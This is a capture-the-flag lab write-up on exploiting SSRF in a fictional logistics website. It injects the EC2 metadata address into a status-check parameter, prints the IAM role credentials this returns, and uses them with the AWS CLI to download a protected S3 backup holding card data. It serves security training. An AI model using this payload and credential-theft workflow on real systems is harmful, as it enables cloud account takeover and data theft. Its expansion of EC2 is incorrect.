SSRF to PWNED

PWNEDLABS.IO

AWS has released additional security measures against this. This guide is for IMDSv1.

IMDSv2 requires the use of an API token:

\``export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "[http://169.254.169.254/latest/api/token"](http://169.254.169.254/latest/api/token)

`curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"`

Enumeration

First start with the website provided. On the surface, it seems like a regular site. Pressing `Ctrl + U` to see the source code, we can see that there is an s3 bucket `huge-logistics-storage` where images are being pulled from. We can try to open the root of the bucket in the browser by visiting `https://huge-logistics-storage.s3.amazonaws.com/`.

Under the `Contents` headers, we can see there is a `backup` directory and a `web` directory, both containing files. We can try to download everything in the bucket:

`$aws s3 cp s3://huge-logistics-storage . --recursive --no-sign-request`

Unfortunately, we can only download the contents of the `web` folder, which is a bunch of useless pictures. The `backup` directory gets stopped with Access Denied. We will go back to the website and try to find other means of entering.

On the main page, there is a `Status` link. After clicking `Check`, we see in the source code a form:

`<form action="[index.php](view-source:http://app.huge-logistics.com/status/index.php)" method="post">`
`<input type="submit" class="button" value="Check"> </form>`

We can assume from reading the form information, that clicking on `Check` will send a `POST` request to the server, seeking whether or not a certain service is operational or not. So the website will directly communicate with the server in some way via the `name` parameter.

EC2 IMDS

Since the website is connected to an s3 bucket, we can assume that it is also running on an EC2 instance. The `EC2 (Electric Cloud Compute)` service comes with an `IMDS (Instance`

`Meta-Data Service)` built in. The `EC2 IMDS` provides information about configuration and management. Typically, EC2 instances contain an `IAM` role associated with the instance, so that it can interact with all of the other AWS services.

SSRF Exploitation

According to AWS documentation, Amazon uses the link-local IP of 169.254.169.254 as the EC2 IMDS. A link-local IP is one that only works locally, on a segmented network (In this case the EC2 service). It receives no outside traffic from the internet and only works when you are inside an Amazon AWS compute environment.

If, instead of `name=hugelogistics.com` on our `status.php` page, we put `name=169.254.169.254/latest/meta-data`, we are indeed returned meta-data related to the EC2 instance:

```
ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/
hostname iam/ identity-credentials/ instance-action instance-id instance-life-
cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/
profile public-hostname public-ipv4 public-keys/ reservation-id security-groups
services/ system
```

This confirms `SSRF` or `Server Side Request Forgery` being possible. Next, we visit `169.254.169.254/latest/meta-data/iam/info` the same way and we are given:

```
{ "Code" : "Success", "LastUpdated" : "2026-01-29T10:22:19Z",
"InstanceProfileArn" : "arn:aws:iam::104506445608:instance-
profile/MetapwnedS3Access", "InstanceProfileId" : "AIPARQVIRZ4UA4FJH2XW7" }
```

Now we have a profile `MetapwnedS3Access` , which is the IAM role configured to the EC2 instance. We can see information about this IAM role by visiting `169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access` in which we are given:

```
{ "Code" : "Success", "LastUpdated" : "2026-01-29T10:22:46Z", "Type" : "AWS-
HMAC", "AccessKeyId" : "ASIARQVIRZ4UB3JVWPIF", "SecretAccessKey" :
"t7hSG0yo9PsiVfIJu5yi5O5ClUVvewEZP7mwL3Dq", "Token" :
"IQoJb3JpZ2luX2VjELv//////////wEaCXVzLWVhc3QtMSJHMEUCIEkHa6aXLawvhLw3zolexaVSKe
LstHcXnePdBZVlgeTSAiEAgDDIRxLn2fV06Nq4GpsJa82dbyZZ04hges3eI6MjvNIqxAUIhP///////
///ARAA....snip
snap....QGFcDpYXkGTw0RIfPxJr1GVB+gTuL0KhkI2jHLnPssS8Td9NkBHitiYetEMiy6vVijKKkH/
hCK0kDhof9DQ3DBb0Kwx5ddhyEorThYjyE0jxmUT9UjaYGo1J6U2SI5q2wGW4/9oS178KuR/hODw84T
eEB2FO+pX/Pygkggr1XYmLKPbN+Yad0vHz9i/EVKnR8p/jHI10RSmR5lwIJOnQtNt84hoCdiUKlvraa
t9hVMaUrQ=", "Expiration" : "2026-01-29T16:41:19Z" }
```

Now, as we have a `session token` we have to move quickly, as they expire in 15 minutes. First, we set the AccessKeyID and SecretAccessKey with `aws configure`. Next, we have to set the session token with `aws configure set aws_session_token [TOKEN]`. Be sure to run `aws sts get-caller-identity` to confirm that the account has been taken control of.

Once that is taken care of, we go back to our s3 bucket that is associated with the EC2 instance.

s3 Revisted

`$aws s3 cp s3://huge-logistics-storage . --recursive`

This will re-download the s3 bucket, but now with our new role, we can download `backup`. Inside we have credit card information and the flag.